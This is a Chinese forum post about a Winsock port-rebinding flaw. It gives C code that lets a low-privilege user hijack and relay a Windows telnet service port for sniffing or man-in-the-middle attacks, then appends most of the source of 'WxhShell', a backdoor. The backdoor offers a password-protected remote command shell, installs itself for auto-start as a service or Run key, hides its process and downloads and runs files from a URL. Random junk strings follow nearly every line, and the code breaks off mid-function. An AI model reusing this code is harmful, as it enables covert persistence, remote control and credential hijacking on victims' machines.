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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CKU)wJ5t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HEK?z|Ne  
1Va@w  
  saddr.sin_family = AF_INET; _e|-O>#pl  
a3He-76  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %r:4'$E7|  
KkR.p,/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H;FzWcm  
;Z,l};b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gM6o~ E  
(W9 K: ]}  
  这意味着什么?意味着可以进行如下的攻击: obgO-d9l  
W:2]d  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O@LUM{\  
RF\h69]:I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SMQC/t]HT  
$@WA}\D  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n+Ng7  
>vuR:4B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g_"B:DR  
J^pq<   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F}5skD=  
Vz y )jf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3tmS/ tQp  
Uz `OAb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +# @2,  
48 mTL+*  
  #include ZYz8ul$E  
  #include ;#7:}>}rO  
  #include ED A6b]  
  #include     b|Eo\l2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .5#+)] l  
  int main() GGGz7_s ?  
  { }&EdA;/o_  
  WORD wVersionRequested; 2y9$ k\<xV  
  DWORD ret; 3C#Sr6  
  WSADATA wsaData; ?A 5;"  
  BOOL val; Js9 EsN%  
  SOCKADDR_IN saddr; _wZr`E)  
  SOCKADDR_IN scaddr; h<BTu7a`r  
  int err; -TyBb]  
  SOCKET s; {ka={7  
  SOCKET sc; m;u:_4  
  int caddsize; s 8lfW6  
  HANDLE mt; h-*h;Uyc  
  DWORD tid;   _^F%$K6  
  wVersionRequested = MAKEWORD( 2, 2 ); =jRC4]M})  
  err = WSAStartup( wVersionRequested, &wsaData ); (abtCuZ8z  
  if ( err != 0 ) { >i2WYT  
  printf("error!WSAStartup failed!\n"); In}~bNv?  
  return -1; (i]0IYMXy*  
  } k,r}X:<6jz  
  saddr.sin_family = AF_INET; Ys@\~?ym+  
   l_T5KV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 kg$w<C@#"  
^O3p:X4u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |b|bL 7nx  
  saddr.sin_port = htons(23); -.UUa  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v+d? #^  
  { MAgoxq~;V  
  printf("error!socket failed!\n"); -qB{TA-.\  
  return -1; W)u9VbPk[  
  } }DkdF  
  val = TRUE; fvoPV &:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WAGU|t#."  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ET~^P  
  { E,|OMK#   
  printf("error!setsockopt failed!\n"); F^7qr  
  return -1; s&6/fa  
  } .wcKG9u  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q>VvXUyK,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3O?[Yhk`.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 51!#m|  
2 57q%"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ->&amPv  
  { '\Uy;,tu /  
  ret=GetLastError(); WL<f!   
  printf("error!bind failed!\n"); PE2O$:b\  
  return -1; Kd3EZo.  
  } HhB' ^)  
  listen(s,2); w?M` gl8r  
  while(1) _RG2I)P  
  { !JPZ7_nn  
  caddsize = sizeof(scaddr); qD5)AdCGO  
  //接受连接请求 uBo~PiJ2"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #!]~E@;E  
  if(sc!=INVALID_SOCKET) OH vV_  
  { `xFgYyiQd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m2to94yh  
  if(mt==NULL) gg :{Xf*`  
  { PKt;]T0  
  printf("Thread Creat Failed!\n"); +HY.m+T  
  break; 5Fa/Q>N  
  } -W)8Z.  
  } m%i!;K"{s  
  CloseHandle(mt); jN sM&s,  
  } w#RfD  
  closesocket(s); gPy}.g{tH$  
  WSACleanup(); ]{pH,vk-  
  return 0; O29GPs  
  }   G8OnNI  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8>ODtKI *  
  { e1 P(-V  
  SOCKET ss = (SOCKET)lpParam; =tqChw   
  SOCKET sc; (l:LG"sy\  
  unsigned char buf[4096]; \Oa11c`6  
  SOCKADDR_IN saddr; .\|}5J9W  
  long num; {tF)%>\#  
  DWORD val; e&F=w`F\  
  DWORD ret; >Gr,!yP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 RVa{%   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EdS7m,d  
  saddr.sin_family = AF_INET;  H r;\}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~{npG  
  saddr.sin_port = htons(23); $R/@%U)-o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WD?COUEox  
  { &^])iG,Ew  
  printf("error!socket failed!\n"); p`oHF  5  
  return -1; &uG@I=}TIY  
  } cmbl"Pqy1  
  val = 100; F!ra$5u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @i@f@.t  
  { r_M5:Rz  
  ret = GetLastError(); hE}y/A[  
  return -1; 4>te>[  
  } NpF)|Ppb{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P<IZ%eS3B  
  { 5t[7taLX\  
  ret = GetLastError(); ^ &VN=Y6z  
  return -1;  uE3xzF  
  } H@ .1cO  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <|4L+?_(&  
  { #^bn~  
  printf("error!socket connect failed!\n"); 2p8}6y:}7  
  closesocket(sc); -v?)E S  
  closesocket(ss); 2B=+p83<  
  return -1; 'Rw*WK  
  } 0`"DYJ}d  
  while(1) !i?aRI/6  
  { .oxeo 0@~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ? ]hS^&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zZ{(7K fz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _:?b -44  
  num = recv(ss,buf,4096,0); jMQ7^(9-  
  if(num>0) #%SF2PB;  
  send(sc,buf,num,0); $O^U"  
  else if(num==0) 6ragRS/'x  
  break; G0pqiU6  
  num = recv(sc,buf,4096,0); A=pyaU`aE  
  if(num>0) TvwkeOS#}7  
  send(ss,buf,num,0); qM:*!Aq 0g  
  else if(num==0) A,! YXl[  
  break; bDM;7fFp$  
  } UViWejA/*u  
  closesocket(ss); Ln&CB!u  
  closesocket(sc); #F6!x3Z  
  return 0 ; =fy'w3m  
  } d/xGo[?$  
!eGUiE=  
Ihg1%.^V\  
========================================================== y_N h5  
*|&&3&7  
下边附上一个代码,,WXhSHELL o9AwW  
~M LBO  
========================================================== x @uowx_&m  
?4MZT5 .  
#include "stdafx.h" +"Mlj$O  
,ko0XQBl  
#include <stdio.h> _XUDPC(*qz  
#include <string.h> /7p1y v  
#include <windows.h> w.R2' W R  
#include <winsock2.h> BZAF;j  
#include <winsvc.h> m15> ^i^W  
#include <urlmon.h> wGAeOD  
+pJ~<ug]  
#pragma comment (lib, "Ws2_32.lib") q OX=M  
#pragma comment (lib, "urlmon.lib") s. jcD  
m0+'BC{$u  
#define MAX_USER   100 // 最大客户端连接数 tY6QhhuS:  
#define BUF_SOCK   200 // sock buffer 5u&hp  
#define KEY_BUFF   255 // 输入 buffer "y$s`n4Mj  
ThJ`-Ro  
#define REBOOT     0   // 重启 ^<QF* !  
#define SHUTDOWN   1   // 关机 Q DJe:\n  
.[>UkM0  
#define DEF_PORT   5000 // 监听端口 >'2=3L^Q  
7DCu#Y[  
#define REG_LEN     16   // 注册表键长度 @8'LI8 \/  
#define SVC_LEN     80   // NT服务名长度 iVqXf;eB!5  
4dI =  
// 从dll定义API C9"yu&l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |A19IXZ\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a qIpO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LQ.0"6oj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b?%Pa\,!  
/^9yncG;>  
// wxhshell配置信息 WTQd}f  
struct WSCFG { %~^:[@xa*  
  int ws_port;         // 监听端口 'w~e>$WI  
  char ws_passstr[REG_LEN]; // 口令 [eO6 H2@=z  
  int ws_autoins;       // 安装标记, 1=yes 0=no XZ[3v9?&n  
  char ws_regname[REG_LEN]; // 注册表键名 MFO1v%m  
  char ws_svcname[REG_LEN]; // 服务名 >19j_[n@VC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V( SRw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SH#!Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]8ob`F`m,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vC ISd   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *d$r`.9j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `Uy'YfYF  
OIdoe0JR:O  
}; H|/U0;s  
+U*:WKdI?  
// default Wxhshell configuration fD ?w!7f-1  
struct WSCFG wscfg={DEF_PORT, Jw)-6WJ!uO  
    "xuhuanlingzhe", }@Ou]o  
    1, <CY<-H  
    "Wxhshell", V}+Ui]ie|I  
    "Wxhshell", #JW~&;  
            "WxhShell Service", %8~g#Z  
    "Wrsky Windows CmdShell Service", T$Rj/u t1  
    "Please Input Your Password: ", K1[(% <Gp  
  1, !S5_+.U#  
  "http://www.wrsky.com/wxhshell.exe", R\,qL-Br  
  "Wxhshell.exe" 6T ,'Oz  
    }; d2[R{eNX=  
V { yk  
// 消息定义模块 Tl`HFZQ1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f4r)g2Zb[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mZ}C)&,m2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [V_\SQV0  
char *msg_ws_ext="\n\rExit."; +DA ,|~k_  
char *msg_ws_end="\n\rQuit.";  Jyo(Etp  
char *msg_ws_boot="\n\rReboot..."; mVdg0  
char *msg_ws_poff="\n\rShutdown..."; p|o?nI  
char *msg_ws_down="\n\rSave to "; L#9g ~>~  
Vf] ;hm  
char *msg_ws_err="\n\rErr!"; g.d~`R@v  
char *msg_ws_ok="\n\rOK!"; qhqqCVrsW  
l F*x\AT  
char ExeFile[MAX_PATH]; $V2.@ X  
int nUser = 0; h;S?  
HANDLE handles[MAX_USER]; Kuy0Ci  
int OsIsNt; P* .0kR1n  
56T{JTo  
SERVICE_STATUS       serviceStatus; 2L|)uCb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LGPPyK Nx  
LQ3J$N  
// 函数声明 ^mu PjM+D  
int Install(void); |tqYRWn0  
int Uninstall(void); NG?-dkD  
int DownloadFile(char *sURL, SOCKET wsh); bbxo!K m"  
int Boot(int flag); J\c\Ar :  
void HideProc(void); gzeTBlXg  
int GetOsVer(void); Lm"zW>v  
int Wxhshell(SOCKET wsl); /aX 5G  
void TalkWithClient(void *cs); Xgyi}~AoaU  
int CmdShell(SOCKET sock); z]bcg$m  
int StartFromService(void); =Xh*w  
int StartWxhshell(LPSTR lpCmdLine); $61j_;WF`  
6 P U]I+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m.2=,,r<Fq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %Tm8sQ)1  
B7ty*)i?  
// 数据结构和表定义 q_[V9  
SERVICE_TABLE_ENTRY DispatchTable[] = Z"Byv.yqb  
{ +[Zcz4\9  
{wscfg.ws_svcname, NTServiceMain}, w!~85""  
{NULL, NULL} DZ5QC aA  
}; v"J7VF2  
"Iwd-#;$;  
// 自我安装 i*2l4  
int Install(void) ~fR-cXj"  
{ UhVJ !NrT  
  char svExeFile[MAX_PATH]; D|Raj\R  
  HKEY key; QDpzIjJj  
  strcpy(svExeFile,ExeFile); q"|#KT^)  
p{S#>JTr  
// 如果是win9x系统,修改注册表设为自启动 k$v8cE  
if(!OsIsNt) { 6;{E-y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AxZaV;%*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3}ATt".  
  RegCloseKey(key); _5&LV2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CGY,I UG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X w_6SR9C  
  RegCloseKey(key); f5dctDHP  
  return 0; OXIy0].b  
    } nHTb~t5Ke  
  } 0o &B 7N  
} \>nY%*  
else { <Pg<F[eDM  
 TDR2){I  
// 如果是NT以上系统,安装为系统服务 (Q~ (t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6*tbil_G+  
if (schSCManager!=0) &=`6- J  
{ z)0%gd|  
  SC_HANDLE schService = CreateService $mLiEsJ  
  ( v7@O ,%  
  schSCManager, @1^:V-=  
  wscfg.ws_svcname, IM$I=5y e  
  wscfg.ws_svcdisp, C3GI?| b  
  SERVICE_ALL_ACCESS, }j6<S-s~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gi5Ffvs$  
  SERVICE_AUTO_START, ?Y | *EH  
  SERVICE_ERROR_NORMAL, C:$pAE(  
  svExeFile, TB(!*t  
  NULL, kRH;c,E@  
  NULL, |dI,4Z\Qb  
  NULL, #,PB(  
  NULL, 9i*Xd$ G  
  NULL X'XH-E  
  ); k*Vf2O3${  
  if (schService!=0) "'\f?A9  
  { XX|wle1Kg  
  CloseServiceHandle(schService); *^t7?f[  
  CloseServiceHandle(schSCManager); vg ^&j0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y&{ Z"+B5  
  strcat(svExeFile,wscfg.ws_svcname); d0CFMy6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }&:F,q*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n9N '}z  
  RegCloseKey(key); Y:'#jY*V  
  return 0; ygS vYMC  
    } h(Ccm44  
  } v'X=|$75  
  CloseServiceHandle(schSCManager); StWF66u34&  
} 6kM'f}t[C  
} ;gmfWHB<  
Y%A KN  
return 1; g"o),$tm  
} 95X!{\  
k=8LhO  
// 自我卸载 ~sUWXw7~  
int Uninstall(void) T_1p1Sg  
{ gg}^@h&?  
  HKEY key; {_<,5)c  
}$T!qMst{  
if(!OsIsNt) { ?~#{3b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `UH 1B/  
  RegDeleteValue(key,wscfg.ws_regname); X"pp l7o  
  RegCloseKey(key); |y~un9j +  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qs'ggF1  
  RegDeleteValue(key,wscfg.ws_regname); b"QeCw#v`>  
  RegCloseKey(key); ]53'\TH  
  return 0; ajMI7j^G  
  } g7),si*  
} 6K 6uB ~  
} KXTx{R  
else { h<ULp &g  
WA&&*ae5`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \NI0rL  
if (schSCManager!=0) 8`S6BkfC|  
{ PS${B   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p&4#9I5  
  if (schService!=0) @mu2,%  
  { 1[Ffl^\ARp  
  if(DeleteService(schService)!=0) { JD1D(  
  CloseServiceHandle(schService); $bi@,&t;  
  CloseServiceHandle(schSCManager); I}{Xv#@o  
  return 0; p-1 \4  
  } ":upo/xN  
  CloseServiceHandle(schService); Wy.Xx-3W  
  }  T24?1  
  CloseServiceHandle(schSCManager); BpQ/$?5E"  
} 875BD U  
} '#faNVPABh  
7gY^aMW  
return 1; d[Lr`=L;  
} Ul?92  
%B{NH~  
// 从指定url下载文件 &?@5G  
int DownloadFile(char *sURL, SOCKET wsh) wBK%=7  
{ uRu)iBd D  
  HRESULT hr; M$Of.  
char seps[]= "/"; )-4xI4  
char *token; ;4rTm@6  
char *file; !j|93*  
char myURL[MAX_PATH]; U%,N"]`  
char myFILE[MAX_PATH]; o) hQ]d  
9BM 8  
strcpy(myURL,sURL); &QQ8ut,;  
  token=strtok(myURL,seps); ; 3WA-nn  
  while(token!=NULL) &^W91C?<6  
  { \dIQhF%%2  
    file=token; r$Z_Kwe.|&  
  token=strtok(NULL,seps); _^)<d$R<  
  } 6Wabw:  
4z##4^9g  
GetCurrentDirectory(MAX_PATH,myFILE); w 9mi2=  
strcat(myFILE, "\\"); '9#O#I &J  
strcat(myFILE, file); 3_]<H<w  
  send(wsh,myFILE,strlen(myFILE),0); k)a-odNrb  
send(wsh,"...",3,0); L--(Y+vmf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ydr/ T/1  
  if(hr==S_OK) xE4iey@\}  
return 0; *4tJ|m6"Y6  
else CNiUHUD  
return 1; xX ktMlI  
+s'qcC  
} QQwD) WG  
WhR j@y  
// 系统电源模块 0H-~-z8Y  
int Boot(int flag) {LLy4m  
{ KiJRq>  
  HANDLE hToken; M9/c8zZ  
  TOKEN_PRIVILEGES tkp; YIQm;E EG  
]E+deM  
  if(OsIsNt) { $rh{f<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NZyGC Vh@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }(r%'(.6  
    tkp.PrivilegeCount = 1; DP D%8a)?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 07_ym\N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xD(JkOne  
if(flag==REBOOT) { SOI$Mx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @KhDQ0v]5  
  return 0; Eo$7W5h J  
} Y70[Nz  
else { bJo)rM :m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y@kRJ 8d  
  return 0; V2I"m  
} 4Em mh=A  
  } X&[S.$_U  
  else { $`Z-,AJc  
if(flag==REBOOT) { =Kv*M@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PSO9{!  
  return 0; ^qaS  
} `!.)"BI/s  
else { )@xHL]!5m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GIt~"X  
  return 0; v: Av 2y  
} <#s=78 g.3  
} L* Mt/  
:D>afC8,  
return 1; gJ_{V;R  
} -Cjc~{B>7X  
GnlP#;  
// win9x进程隐藏模块 kgX"LQh;[G  
void HideProc(void) w(QU'4~  
{ Z.b}   
iwnctI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TX96 ^EoH  
  if ( hKernel != NULL ) Zxm Mw  
  { Zz<k^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hpD\,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FYI*44E  
    FreeLibrary(hKernel); hE41$9?TJ  
  } :esHtkyML  
d;3/Vr$t=  
return; i+$G=Z#3E  
} BitP?6KX  
B&~#.<23:  
// 获取操作系统版本 4LRrrW  
int GetOsVer(void) vps</f!  
{ [i 18$q5D  
  OSVERSIONINFO winfo; prvvr;Ib  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); phu`/1;p  
  GetVersionEx(&winfo); .Vm!Ng )j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >~-8RM  
  return 1; |F }y6 gH  
  else P8N`t&r"7  
  return 0; E880X<V)>  
} e6C;A]T2E  
g-0?8q5T6  
// 客户端句柄模块 Z*EK56.b  
int Wxhshell(SOCKET wsl) Q k e8BRBn  
{ }pJ6CW  
  SOCKET wsh; *C81DQ  
  struct sockaddr_in client; 9 )1 8  
  DWORD myID; =IQ+9Fl2  
.E'Tfa  
  while(nUser<MAX_USER) CdCo+U5z{  
{ B{UL(6\B  
  int nSize=sizeof(client); sb Wn1 T U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9`P<|(  
  if(wsh==INVALID_SOCKET) return 1; Gkz\By  
>h^CC*&'pw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u^DfRd&P0  
if(handles[nUser]==0) yrp5\k*{y  
  closesocket(wsh); hk =nXv2M  
else D# ZzhHHP  
  nUser++; ;GW[Yw>Rz  
  } i6L>,^Dg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J<g$hk  
!^{0vFWE  
  return 0; D00I!D16  
} B?BB  
>K }j}M%  
// 关闭 socket 00Tm]mMQX  
void CloseIt(SOCKET wsh) >WfkWUb  
{ OAoTsqj6  
closesocket(wsh); ~*OQRl6F  
nUser--; \J*~AT~5q  
ExitThread(0); (twwDI  
} [{]/9E /&  
5K_KZL-  
// 客户端请求句柄 N/wUP  
void TalkWithClient(void *cs) X$aN:!1  
{ h<)YZ[;x  
nQe^Bn  
  SOCKET wsh=(SOCKET)cs; o~Jce$ X  
  char pwd[SVC_LEN]; b-Q*!U t  
  char cmd[KEY_BUFF]; bXSsN\:Y@[  
char chr[1]; x*]&Ca0+  
int i,j; >o=O^:/L  
H =Y7#{}  
  while (nUser < MAX_USER) { #2`ST=#  
vL>cYbJ<  
if(wscfg.ws_passstr) { _[D6 WY+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *C/bf)w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,t"?~Hl".  
  //ZeroMemory(pwd,KEY_BUFF); =<,>dBs}\  
      i=0; d']CBoK  
  while(i<SVC_LEN) { <>=A6  
}e/#dMEi  
  // 设置超时 %sd1`1In  
  fd_set FdRead; N_ 3$B=  
  struct timeval TimeOut; mGss9eZa  
  FD_ZERO(&FdRead); ]!@z3Hv3  
  FD_SET(wsh,&FdRead);  rG#o*oA  
  TimeOut.tv_sec=8; )uj:k*`)  
  TimeOut.tv_usec=0; 7Cx*Ts$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DGR[2C)@N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8>U{>]WG  
g+g0iS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D8Ntzsr6  
  pwd=chr[0]; ZGILV  
  if(chr[0]==0xd || chr[0]==0xa) { /INjP~C  
  pwd=0; $KSdNFtM)A  
  break; GyirE`  
  } MHl ffj  
  i++; U +c ?x2\  
    } u'Od~x^z  
|6]2XW  
  // 如果是非法用户,关闭 socket bl8zcpdL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z|KQiLza  
} T\ixS-%^  
XH^X4W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \fX0&l;T9\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EC`!&Yp+  
r;>2L'  
while(1) { xIOYwVC  
%Aqt0e  
  ZeroMemory(cmd,KEY_BUFF); :6}Zo  
Q9Tt3h2ga  
      // 自动支持客户端 telnet标准   = aO1uC|6C  
  j=0; kn$2_I9  
  while(j<KEY_BUFF) { .|$:%"O&X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ox| ?  
  cmd[j]=chr[0]; O4)'78ATp  
  if(chr[0]==0xa || chr[0]==0xd) { }u3Q*oAGl  
  cmd[j]=0; A_8UPGh8  
  break; P\jnht  
  } _*K=Z,a;\  
  j++; Z<P?P`  
    } |M8FMH[_  
;u:A:Y4V  
  // 下载文件 ~J~@mE2ks  
  if(strstr(cmd,"http://")) { xE$>;30b_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L=7Y~aL=  
  if(DownloadFile(cmd,wsh)) 8fI]QW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nj90`O.K  
  else Z.^DJ9E<1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M%yeI{m  
  } JWh5gOXd  
  else { oouhP1py,  
+69[06F  
    switch(cmd[0]) { i1c z+}  
  [Re.sX}$Y  
  // 帮助 _nUvDdEs,  
  case '?': { QIK;kjr*A3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); buj *L&  
    break; K~ch OX  
  } a^#\"c  
  // 安装 z9}WP$W  
  case 'i': { O:% ,.??<%  
    if(Install()) q0m> NA   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b] EC+.  
    else {)CN.z:O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [=EmDP:@  
    break; /h]#}y j  
    } qS9z0HLE  
  // 卸载 (93$ L zZ  
  case 'r': { r_"=DLx6  
    if(Uninstall()) GJr1[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kndN} Vq  
    else j7XUFA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Il4R R  
    break; %&iY5A  
    } >;sz(F3)  
  // 显示 wxhshell 所在路径 HV?Q{X K.b  
  case 'p': { JK%UaEut=  
    char svExeFile[MAX_PATH]; 'NAC4to;;  
    strcpy(svExeFile,"\n\r"); \yE*nZ  
      strcat(svExeFile,ExeFile); &6@# W]_  
        send(wsh,svExeFile,strlen(svExeFile),0); zObrp  
    break; TOH+JL8L  
    } srGF=1_  
  // 重启 (nDen5Q|  
  case 'b': { CMiE$yC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Tlar@lC|u  
    if(Boot(REBOOT)) n:8<Ijrh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {<P{uH\l  
    else { b(HbwOt ~3  
    closesocket(wsh); K ; e R)  
    ExitThread(0); Y00hc8<  
    } "y7IH GJ\3  
    break; %.rVIc"  
    } .4cV X|T  
  // 关机 C"*8bVx]$n  
  case 'd': { ?*/1J~<(@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9F "^MzZ  
    if(Boot(SHUTDOWN)) my}l?S[2d@  
